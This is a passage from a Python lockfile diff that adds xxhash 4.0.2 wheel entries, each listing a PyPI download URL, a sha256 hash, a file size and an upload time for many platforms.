"sha256:6049b09b27d9226dfe0a8b0dee2b867063c8df9a7ef64748bf48110d8fc896c2", size = 301421, upload-time = "2026-10-19T05:59:18.262Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ad/862e0c20ca8cbbe624e5c168ca0fccd0ab6b1e83d13dd9b4aa8b3e575264/xxhash-4.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:97903f3df852ca5840a26cc27beef15f9f93b0071e2aa550a03d8ee5c65e7765", size = 260139, upload-time = "2026-10-19T05:58:06.923Z" }, + { url = "https://files.pythonhosted.org/packages/f4/19/4c5a3b6698504159b7908662dc61b1f3ebed25135235a023a088a5483e85/xxhash-4.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:873ee53a7d8f020ddfcd3bc101707ae46fcd1eb702f809ff29a765d0f88b654f", size = 278211, upload-time = "2026-10-19T05:59:57.7Z" }, + { url = "https://files.pythonhosted.org/packages/86/92/732f5f9810132d6f9afb19160980a48d1fa51caa724352a4f170bf960a4a/xxhash-4.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:e24e9093771e8a27089176f202991199ebedad8f4791a6e2abf88acd5c69bd9d", size = 330247, upload-time = "2026-10-19T05:58:29.31Z" }, + { url = "https://files.pythonhosted.org/packages/f6/e2/137dbd91bd93281f45bf53e4319874a09692bc07380755913e4dd938db49/xxhash-4.0.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c06c5fd89304f2c274d5129bd3a555b78f7a8af5ea16edd5b1360010f3359bd4", size = 478537, upload-time = "2026-10-19T05:59:20.059Z" }, + { url = "https://files.pythonhosted.org/packages/7f/9b/41b99dfc87602358fc4dbfa1517b7f72b5a9232bce1aa32d4208acaeb160/xxhash-4.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c37fcacb7f5b8590c822bbf3bc41690e40a7581d8c4bcea7b15148f0743e716d", size = 258155, upload-time = "2026-10-19T05:58:09.407Z" }, + { url = "https://files.pythonhosted.org/packages/d0/b3/2bfc3c9121a522f6a5abb8f57800345c23a159822b64c7ea69debdf4846d/xxhash-4.0.2-cp312-cp312-pyemscripten_2024_0_wasm32.whl", hash = "sha256:79cfd336c2ecaceef1061e7a7b3da079eab5920ba1352a28be690e857f67f2ea", size = 20749, upload-time = "2026-10-19T06:01:23.513Z" }, + { url = "https://files.pythonhosted.org/packages/cc/25/85d482d35d3f778d25719fc704146e8c984955d44735cfbdf955db240c23/xxhash-4.0.2-cp312-cp312-win32.whl", hash = "sha256:515a5f4405a29bc447bcee2ee13455dfc67ce41bf8f1da5258bc75bbdfb6dee6", size = 34657, upload-time = "2026-10-19T05:59:20.564Z" }, + { url = "https://files.pythonhosted.org/packages/11/63/1beef4ee02cad4b8f97d707c6632e80f35e935c6b880960985e038f42aba/xxhash-4.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:043dcb74ba30a068a2821c136b61262db67f1e1d174ff4dbe83a3e24996861e7", size = 37059, upload-time = "2026-10-19T05:58:08.545Z" }, + { url = "https://files.pythonhosted.org/packages/3d/4d/075f92b562ac13469edd51acb676ac4dbfa3d85a03f842e4a026e29a5ae1/xxhash-4.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:202c18875cf93d652c506d0e7c8a50847713f963a8aa9c06ce5117bdd14ba771", size = 33219, upload-time = "2026-10-19T06:00:00.128Z" }, + { url = "https://files.pythonhosted.org/packages/6f/cd/4fa514d99643a90d4f4886ed387689a4e47c7f9cc541611b16336e13c44a/xxhash-4.0.2-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:570ba2952f1fe3b4f7a272314db64903e5c9121032e1dbe20800c7e0e5a13145", size = 43621, upload-time = "2026-10-19T05:58:31.906Z" }, + { url = "https://files.pythonhosted.org/packages/ef/97/6634acaad90e17490974f44d9aa7ba99f8edc7bd1c59df4e0f6c59d4ee14/xxhash-4.0.2-cp313-cp313-android_24_x86_64.whl", hash = "sha256:5223b3d133b81197fdbede79601b9b0f0bdf07818a71b751e9d2480bdba72a70", size = 40639, upload-time = "2026-10-19T05:59:22.154Z" }, + { url = "https://files.pythonhosted.org/packages/2a/ac/23fa9e10335f7000a053ed9818e3fa03b57b88bb6eaecc43d8d3097d7f9a/xxhash-4.0.2-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b91b42f62e6cf6c1aaec9cea6b9e4b8ae18119517242d22ffbd967b275f9d12d", size = 34691, upload-time = "2026-10-19T05:58:10.854Z" }, + { url = "https://files.pythonhosted.org/packages/09/d8/2f2db4b6166e5c982ed071821f40ffb15ea0ab45bd768f7e24eba814bb27/xxhash-4.0.2-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e553d545d05094f3950ef36b328f75f5ef8568a0438c26966d9a0f1fc187a42b", size = 35636, upload-time = "2026-10-19T06:01:24.654Z" }, + { url = "https://files.pythonhosted.org/packages/80/9b/605e93a007a03fe5f314a5033f3860f0597e7ea552f4a56006c4b9b72ca5/xxhash-4.0.2-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:56ee43c284daffc12d269b3fb36b1fc624c7ab007064a24d54099049ee71ce80", size = 37935, upload-time = "2026-10-19T05:59:22.612Z" }, + { url = "https://files.pythonhosted.org/packages/7d/d2/426b35da1dda15fe12bd91d02031186036d7500e9c5c462825193621fe9f/xxhash-4.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d9cd501f5d6c737e26b8d45f0facff43d3b7f2f5a8c2ef1c88800f6f310da418", size = 38014, upload-time = "2026-10-19T05:58:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/0c/4a/ad4ffa5a8189a809abee76b8541b71b26402e9d84dfe49090082edd3f919/xxhash-4.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f64380470531ca49aceb15179ea47dd7be2fc38e41207eca4f7d05e4d6c9f795", size = 35875, upload-time = "2026-10-19T06:00:02.345Z" }, + { url = "https://files.pythonhosted.org/packages/dd/e7/2600f32d4dfc5ace4fd3f999a7ef1fd2c3e37d2be9888b1511594a5646e4/xxhash-4.0.2-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1837c43b06cd2823b44ad27e80e51bbceed172a4afd0c3cc2ef543f2be74155e", size = 259451, upload-time = "2026-10-19T05:58:33.978Z" }, + { url = "https://files.pythonhosted.org/packages/70/06/69559862b9c5cb95b7e9d1851903d53ddc5a6e614ff4e951ac7d3ed45e4d/xxhash-4.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c04c1aeff5cbe56714dfa49aa5d2edbb69c1a1a798926307b8d6af86549e7534", size = 283951, upload-time = "2026-10-19T05:59:24.224Z" }, + { url = "https://files.pythonhosted.org/packages/56/cb/11026759b7a5e25864000df34ab9231ad7fb4f5ae675d60cc4ecab7d9756/xxhash-4.0.2-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:b7f62733495384b424bae45ac457fc80d2143c80de2564416a2a7cd8a4dded4e", size = 303880, upload-time = "2026-10-19T05:58:12.205Z" }, + { url = "https://files.pythonhosted.org/packages/63/a5/6f7d0f3396c7c2157f24fc7d33ee270e769661375924a06f4b6ac63413d3/xxhash-4.0.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7d8d913ecbd21dff2f47f458a8cd37beccb3e41504004341f42234829b973309", size = 287225, upload-time = "2026-10-19T06:01:26.165Z" }, + { url = "https://files.pythonhosted.org/packages/08/22/d226987ffd9f21ce8d1298fc7cc6280450f24cf6d866fe474d80291430d6/xxhash-4.0.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:40fab713c1d2f5c5e7450b8731615d8580757599ebf1f8683b211310ed8e5ad4", size = 519846, upload-time = "2026-10-19T05:59:24.631Z" }, + { url = "https://files.pythonhosted.org/packages/7c/0b/223e8d9da7c857f6f906202f3d15337a2dee8db530b88aeec6ae45cc9665/xxhash-4.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:61ded7dee4f95da69295c228fc18a65447f5741c45a315aa3f9a3adda6038611", size = 268559, upload-time = "2026-10-19T05:58:11.709Z" }, + { url = "https://files.pythonhosted.org/packages/60/a9/0f1586426d56234f0041e1caf80737b4c3d16aca7f352ddbd4d90a41d7af/xxhash-4.0.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9478e4ae8b1db3f6fd72a5d17fc5805fc0ad576e31b58e2acb6bdbeefda2a549", size = 344952, upload-time = "2026-10-19T06:00:04.581Z" }, + { url = "https://files.pythonhosted.org/packages/c7/91/30aaff8fab52f5bc1d179a0de0dd59684b98f556a290f7130c1c7f9771f2/xxhash-4.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:14873a759b512ff875e01e7f8bd187ff613362cf189c44ba604e5cff833a308f", size = 279938, upload-time = "2026-10-19T05:58:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/37/cf/92a6c96dd93c951bd566e6d2ca92dcf605a248c39313643aac03b6a8fd44/xxhash-4.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:17c05e116555586f584c6dce34af2517b6648d56ef5ae7e4d84ea1a19d6743ef", size = 307560, upload-time = "2026-10-19T05:59:26.172Z" }, + { url = "https://files.pythonhosted.org/packages/47/0a/80d985d851ca25d4a4dce47f6694389536e5914f67657b0a9933d3d0b7ff/xxhash-4.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d8dc7e4071794c0405dc6a40559dbe77d7eec1e4bbf6eed5dbebc4e6577d12f3", size = 265830, upload-time = "2026-10-19T05:58:13.82Z" }, + { url = "https://files.pythonhosted.org/packages/f8/09/c6c2142414380e2c3dba1f760e74cad2f1a18cb5fd6dbbbca61696dd935d/xxhash-4.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:983a14a70a018dcccd847e780ba630771d5525d7604b6f519c963634414180c9", size = 284401, upload-time = "2026-10-19T06:01:27.829Z" }, + { url = "https://files.pythonhosted.org/packages/aa/8e/577df6e23e50d19ab206b0b77143b52fff9572b2528fab0505945b537814/xxhash-4.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9a23f0c1dd31aa4136ef8a678a40e73dbaf070b54ee6f2a907b78ba40331b3c3", size = 335902, upload-time = "2026-10-19T05:59:26.864Z" }, + { url = "https://files.pythonhosted.org/packages/cc/35/a1a28980948d2835078e8f00ca7fe2c8573ee72ce667d5f3b2a5058fb9c2/xxhash-4.0.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:4d5f0e2bf5257900f60339cf439a23b35fd29a45cb7effed4b9f1b87c094df20", size = 487007, upload-time = "2026-10-19T05:58:13.081Z" }, + { url = "https://files.pythonhosted.org/packages/95/7c/23fb89ca8fbf8919982f3d3c73e15ca2baeae1f423fe72a2723dceaefeef/xxhash-4.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:892a66641657cf9aa0ae5c2c88258bc281221a33bd4af34bed786eea23e06d83", size = 264315, upload-time = "2026-10-19T06:00:07.131Z" }, + { url = "https://files.pythonhosted.org/packages/02/d0/9a9af3ee99bca69378190f0c284d06e466cdfde4f31445db4ffd6b50bc95/xxhash-4.0.2-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:050c1d66587e8f1ce70ccb7f661ec117e01497d48da817c14543beba0b8c677e", size = 20561, upload-time = "2026-10-19T05:58:38.487Z" }, + { url = "https://files.pythonhosted.org/packages/73/94/010a372e7b00df7e4ddc46982d1ee600b5bb8a1379fd15e9f436f7aa9773/xxhash-4.0.2-cp313-cp313-win32.whl", hash = "sha256:9c22ed1ea72cc23cec070fc5b9c3574844e67236f3f6e5bf7058e512abefe086", size = 34435, upload-time = "2026-10-19T05:59:28.819Z" }, + { url = "https://files.pythonhosted.org/packages/4d/a0/f9b70971bfe7e2a6aeb606df800d564466c6ae0f0e9db5d7025eafc61f33/xxhash-4.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:99fec645143af9dc697620aebff07e99388c16d4208a2ee8b6a2a9bb7d68a21b", size = 36502, upload-time = "2026-10-19T05:58:16.297Z" }, + { url = "https://files.pythonhosted.org/packages/a6/1d/9790306d9ecabc6e1ff125bb9982fdf327fa6ff5e71b352de66551fdf94d/xxhash-4.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:12d5a3c0687c990124a98a1eb027655075deebd985388b4e8ba4302992b90850", size = 33291, upload-time = "2026-10-19T06:01:29.149Z" }, + { url = "https://files.pythonhosted.org/packages/48/3e/29973fa7eac59122c9104d71add006689657f4a4733684bd2b25fe4d2195/xxhash-4.0.2-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:52357b9fee08af3a5c81a793c97110d8be63baba91b88584beee400a2a0113c6", size = 43726, upload-time = "2026-10-19T05:59:29.603Z" }, + { url = "https://files.pythonhosted.org/packages/07/71/f859087e54bba4df27a3e16c380ba8071dd7b87771b9b9cb78dda01e93c7/xxhash-4.0.2-cp314-cp314-android_24_x86_64.whl", hash = "sha256:7779b0f388972029f0de4c83dee4523544b3ee33272425683a34c801c8afe6a3", size = 40728, upload-time = "2026-10-19T05:58:15.452Z" }, + { url = "https://files.pythonhosted.org/packages/41/9a/4b2751b5d9bd6f8000ec1ffe3ccdd6bbde958a9fb0d96ebfa5ec5a3ea553/xxhash-4.0.2-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:f99686036e0575b4bd1947f9efcf12c5bdf310b2348fb72db84a4861287df6fb", size = 34719, upload-time = "2026-10-19T06:00:09.211Z" }, + { url = "https://files.pythonhosted.org/packages/f5/bf/cb0eca1c15825dceef333e983dcc668ab6fc20577fe66e0c1cf3805b1b88/xxhash-4.0.2-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:5d51b2159376d98e99f7a33e19aed3d58d30d24ca641086e2ca0d54875d92ea6", size = 35655, upload-time = "2026-10-19T05:58:40.819Z" }, + { url = "https://files.pythonhosted.org/packages/02/81/a9b1d02517ed1ed1418170e2dec78115f73bf332ba455dd76fff363973f3/xxhash-4.0.2-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:846189d5cc9a4e6815a04c595148b2a82721da1fcdacfdff13fb0225d0945ea3", size = 38077, upload-time = "2026-10-19T05:59:30.482Z" }, + { url = "https://files.pythonhosted.org/packages/d7/38/0df9b7001ef43d4ef8907a30ad49662d6fda45ff88a0684b169943d4dcff/xxhash-4.0.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:bf93a290a49285f75d0d6ec801aa247592a16bd043892a7b48d93f718dfc99c8", size = 38225, upload-time = "2026-10-19T05:58:18.369Z" }, + { url = "https://files.pythonhosted.org/packages/c8/ea/6f587cfa43ac41c793bd1b30d2fed4ffbde2dfbff013059e898292fad323/xxhash-4.0.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:28ae2c583d923aa57c0a4301ea4e071bccf1f84b5e16a31f86b854d9f8943151", size = 35889, upload-time = "2026-10-19T06:01:31.327Z" }, + { url = "https://files.pythonhosted.org/packages/c3/4b/0f773dae678b5995010528461d06509a23eb35a6f43f7424c1c0634dc3fe/xxhash-4.0.2-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:66fda3f72176bd7d1d3aa71de1f4bc116276e3ca3ac583bf06e5f561f2b1fc74", size = 259575, upload-time = "2026-10-19T05:59:31.014Z" }, + { url = "https://files.pythonhosted.org/packages/94/b6/09d7ce830dd09e3f645eb8b53f45df3ab6187012b4114d652686806afedb/xxhash-4.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:829ae333a35219c24584755b8f5c718b87e4713ac4233c8531a4e5d3d67fa7b7", size = 284280, upload-time = "2026-10-19T05:58:17.847Z" }, + { url = "https://files.pythonhosted.org/packages/78/23/952144b4332e66319552dea8c33a4ddfe277d3808f59fc2cd62529fa95cc/xxhash-4.0.2-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:131d73e1467e9f782048d7f4901eb5ced6997e55ca761b503b598618271da8d8", size = 303957, upload-time = "2026-10-19T06:00:11.924Z" }, + { url = "https://files.pythonhosted.org/packages/81/f5/a5ca9a14090c2a4e1e7002755129ce155687130ed83d358376f1ab6fba79/xxhash-4.0.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3bdbde088f54a5cccb92f0d199e018bd676dbe2e5d2eabf1f9dc8148c6f297e2", size = 287505, upload-time = "2026-10-19T05:58:43.058Z" }, + { url = "https://files.pythonhosted.org/packages/48/56/2c4df935522c7928ff0c14708feed446cc3b81683664340a636c2f8af90d/xxhash-4.0.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dd86600a7083aecd5e0fee0680e5a328cbd1bf18046faa217e2a76cf2e01faf4", size = 519240, upload-time = "2026-10-19T05:59:32.166Z" }, + { url = "https://files.pythonhosted.org/packages/15/b7/f8075159633b5f2d47ab0376f2925c2cb184f4ffd3a88aa330fac7950ee8/xxhash-4.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318e6c3a31d75ccacd1f9b864e3b857d44c9f4bed5e9d5fb5db1dc2fec82f019", size = 268172, upload-time = "2026-10-19T05:58:20.346Z" }, + { url = "https://files.pythonhosted.org/packages/8f/5b/bbd53a3c9167d3e906d9801b0d2746d30c28c3e408a8f004bd3dcb327134/xxhash-4.0.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:360343b1d61efb44be005c2180cb19f8c0351d7dc63c8ebbdd8e219ca5cbbb4a", size = 345552, upload-time = "2026-10-19T06:01:32.499Z" }, + { url = "https://files.pythonhosted.org/packages/f1/bc/75c3e035d73c39cc45d128cacb5d7127e5d9da44a709994e59d009ee9889/xxhash-4.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:beb27fc243c6975ea44f74ea2e2c8c5014f9956ba0bf95ed6ee6dd3707e0add2", size = 280523, upload-time = "2026-10-19T05:59:32.621Z" }, + { url = "https://files.pythonhosted.org/packages/3c/92/654eb7b726a61f5cc77f2b8520d90af836611782475b67ff8d59c844b58f/xxhash-4.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:605b582e3895fc240b972d9a28606c53fb5444c118c9f6392bffe8795a4c2467", size = 307180, upload-time = "2026-10-19T05:58:19.838Z" }, + { url = "https://files.pythonhosted.org/packages/09/13/e1b71ca763cbc7c49e46d6d58e20cfa60adc13fde8b6d5cad25e2aa6689c/xxhash-4.0.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:68ed6108f9ef16bf90752582aadaef4c14caa00a50f8b340e282348365a351eb", size = 265863, upload-time = "2026-10-19T06:00:13.335Z" }, + { url = "https://files.pythonhosted.org/packages/17/01/f59a9c24403c21bdb843130f61d9b0db2ef368cf64de031fd353c80bf15c/xxhash-4.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:07aa7644899f97e4ff208f54b9d57fe4c077bfdf2dea5bd5a4a165e9b57309f1", size = 284533, upload-time = "2026-10-19T05:58:45.808Z" }, + { url = "https://files.pythonhosted.org/packages/c6/2b/510b04251771d37c0928b72b290f7f58990007deb413d78f45ee0127004f/xxhash-4.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b97cc2b874d0656e88385fd7ba4c2dedd903f8e23767f69207fbdab79bd0861a", size = 336003, upload-time = "2026-10-19T05:59:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4d/67dd96c1e4a84b8e4261449ca922bc41a91a37029356095979f7b3446573/xxhash-4.0.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:987a83e7a7762bd8d40d6ee75bb047a33f6ed34a4269dd6bdda561666c3e0c54", size = 486652, upload-time = "2026-10-19T05:58:22.75Z" }, + { url = "https://files.pythonhosted.org/packages/09/51/f09c756ce81d13185e11ba20ea99e1f4ff7269e78ae1d7d3194bdbde95b6/xxhash-4.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f2b936ead8be8e1771b3a4508f5b8ba4087a57c59e3f6e91bbbb6849000ee302", size = 263737, upload-time = "2026-10-19T06:01:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/d0/f1/cd84ce202b42e3185ca8f74cb07e83d9191fbf1647fc273c2447bbfbd2fe/xxhash-4.0.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:c9d48e67fc623850ac65b350742b758085ea3aeada2f79aacd0200676abc29b3", size = 20542, upload-time = "2026-10-19T05:59:33.855Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f7/1be4a72302122cd65d44ba7845b2c49030ca85ed0367101002208688cebd/xxhash-4.0.2-cp314-cp314-win32.whl", hash = "sha256:74a92b9104c4af158ce37021b32cb165aa74e69c39bd10bacf569f39604bf2c9", size = 35133, upload-time = "2026-10-19T05:58:21.914Z" }, + { url = "https://files.pythonhosted.org/packages/df/db/95d66e6530e2983579a8eceabc40b812dba752c993eaece618f2c3bed64a/xxhash-4.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:2b5849d45e5c12ddd23316c999eafda73c3ad00b589c474285dcf4135205921e", size = 37133, upload-time = "2026-10-19T06:00:14.606Z" }, + { url = "https://files.pythonhosted.org/packages/3c/e8/142c229cd93414feaf84a02c6d6af1bcc111611117c8cb9ba0eaa44185ba/xxhash-4.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:eb90b2efd8d76777995ffdf3a134f079a79d59727a3301ca98f818fc142e841a", size = 34368, upload-time = "2026-10-19T05:58:48.006Z" }, + { url = "https://files.pythonhosted.org/packages/8d/fa/ea1fbc3a8a9667f3458eaae7f9b461276b971ee2842d9c12393967bd4c46/xxhash-4.0.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:e83c54a9b8477079d6dbd3814ab444f43819ae1aa06b5098c1020d77747897c0", size = 38632, upload-time = "2026-10-19T05:59:36.344Z" }, + { url = "https://files.pythonhosted.org/packages/a0/0f/d83d50c32da714f714f5813335e2e7b2656e44c9da84fc903c41a2ffcab0/xxhash-4.0.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8c24094617758a4953fbf56e96637262b56d5007fcf34756ecb8d0b60231f53e", size = 36287, upload-time = "2026-10-19T05:58:25.044Z" }, + { url = "https://files.pythonhosted.org/packages/9f/62/31dc032654742df420546c0eafddb5e2e08a19774265ff876e4ae23b0c45/xxhash-4.0.2-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:88fb30a81b5c7cb4b4dac3b4974deb00de06f5ed4b15fbacf5c7e14d670ec049", size = 273710, upload-time = "2026-10-19T06:01:35.155Z" }, + { url = "https://files.pythonhosted.org/packages/5f/79/4ea0c32a32b2b2ad9cac1152463939c5453a870367d6ee9d809c645923ee/xxhash-4.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b9c7c18d235991edcfa2275889e84a1458dff0b9315cb7351f5368c5b942bc0d", size = 301060, upload-time = "2026-10-19T05:59:35.389Z" }, + { url = "https://files.pythonhosted.org/packages/a7/5f/263f715b93b5b6a35da9eafce6bc385b94720c023e81a64dfa0e4cd8ad59/xxhash-4.0.2-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4d3a90ec615e72934be372bf734190626614929054809ac12e59950aca91d8a4", size = 312708, upload-time = "2026-10-19T05:58:24.197Z" }, + { url = "https://files.pythonhosted.org/packages/01/7e/9786187749ecf216baf7c6c4897756e83cd8e8aeb67bce53b118cd65e62d/xxhash-4.0.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bdec072bdb457c65e4b96eab7610af72d1535ce38adb32b4e02fa6957d7cd2b8", size = 301401, upload-time = "2026-10-19T06:00:15.736Z" }, + { url = "https://files.pythonhosted.org/packages/43/65/edb9dabb49c9438922980a1ac76f28f047b1126e9bfb1355c6467f14631a/xxhash-4.0.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f6efd3d8a3ee0b86dd7ce3e6ffe47dcc115f71c38cd9f7392e6387fa541a243e", size = 534468, upload-time = "2026-10-19T05:58:50.235Z" }, + { url = "https://files.pythonhosted.org/packages/f3/3c/973412a0e43b02a3538ba6c71ad1732f3b6ccff0dc1855655b36b6c98be4/xxhash-4.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:52dff0cfe99e1f03614a40867e39d5c5a1d55047e114265db4ec2355d65fc542", size = 279586, upload-time = "2026-10-19T05:59:37.848Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c9/8b04ad1d7a5dd0e3141947897660abd429c9743ee83b2931fcb9ecaadc77/xxhash-4.0.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:49b93898657ba0dd4517576b5c94fb0aa6738200f6d1ec2dbc9d0981154828dc", size = 358893, upload-time = "2026-10-19T05:58:28.361Z" }, + { url = "https://files.pythonhosted.org/packages/7c/e7/13900a89cbd65f9dd31032fe6df11aa385195cedcd9fd3c8346edb7eb57c/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5065d7e74b7b3e3df03e11b47d9b14bdcdd0171603ae77cf39c89df140e3e948", size = 295297, upload-time = "2026-10-19T06:01:36.691Z" }, + { url = "https://files.pythonhosted.org/packages/dd/15/bc6b5a50c696575094b6081ec637a22170f2ad7b702b056729c1bf2e0110/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:763a9b3447ece8a5a1e9e27749ef3910a2f6e8ac251b8983a3da2e0801956e02", size = 320215, upload-time = "2026-10-19T05:59:37.064Z" }, + { url = "https://files.pythonhosted.org/packages/9f/09/34efaa3a992a52ad2142a11a547c075af15705292a7d99c2e1f77d443773/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:f1a31825aa626279c25d797c105641d398865a93e96a042cb89c7faaa8905e90", size = 279403, upload-time = "2026-10-19T05:58:27.814Z" }, + { url = "https://files.pythonhosted.org/packages/ba/27/751da8c167e1410fc776e3da485a82f54696b1ac2c555cd9e4fbd4677338/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3e229bf3c7fa330c84ca25bbc29a83a6d078ef2cf3b7b826a5c9b3828aac6f07", size = 297577, upload-time = "2026-10-19T06:00:16.937Z" }, + { url = "https://files.pythonhosted.org/packages/29/28/7eebb4bb64e8fa23b09a48e49470dd2090ae33beb93991d7be865119cdd1/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:fe86ae86241d0aee7561b19bf892c9250a976e4a56fc052405cd537180e7af15", size = 348508, upload-time = "2026-10-19T05:58:53.232Z" }, + { url = "https://files.pythonhosted.org/packages/fa/5b/0cf94b43a664ad1cd24cacc6f37ede95b3f705e3b103b492cb9ce29c1c1a/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3d8b5da050138043edb95fbd4b79e240a0994d2f272e872cf074dc6acd68249b", size = 499287, upload-time = "2026-10-19T05:59:39.431Z" }, + { url = "https://files.pythonhosted.org/packages/8e/91/22aaa89dd14620376c17c9cee12aa94c3e7d746ab99af4b48c0482add9f5/xxhash-4.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cf390edab741574cc770e0b587cc2d6f2573152ba09bf85fdae10e556333ac77", size = 274977, upload-time = "2026-10-19T05:58:30.499Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/43ed2405230cb1137c5c451151a3cfb5427423bbf6ad1b20e0de45e1804c/xxhash-4.0.2-cp314-cp314t-win32.whl", hash = "sha256:768aba59c7fb2e3e976560c91223cb01f00f83809088e451e59f05b841486fbf", size = 35463, upload-time = "2026-10-19T06:01:38.092Z" }, + { url = "https://files.pythonhosted.org/packages/ff/74/a20b6ee566d4ea3d81cbe99bc04a116f8c97246e1404f13b930b2ad9cdc4/xxhash-4.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:ca848e5edfe3aa31ea7355df790b25e55f910dbb540d587e738e1b0c644e1263", size = 37474, upload-time = "2026-10-19T05:59:38.345Z" }, + { url = "https://files.pythonhosted.org/packages/4c/9a/98b69e482b71a7c956fe7a748b118df4b268edb31b10b35e63878a467397/xxhash-4.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:04fe6c267bb6a04d8e5f56d8058eac0621359dc8fc03faa0c03cf1dd4343304e", size = 34621, upload-time = "2026-10-19T05:58:31.122Z" }, + { url = 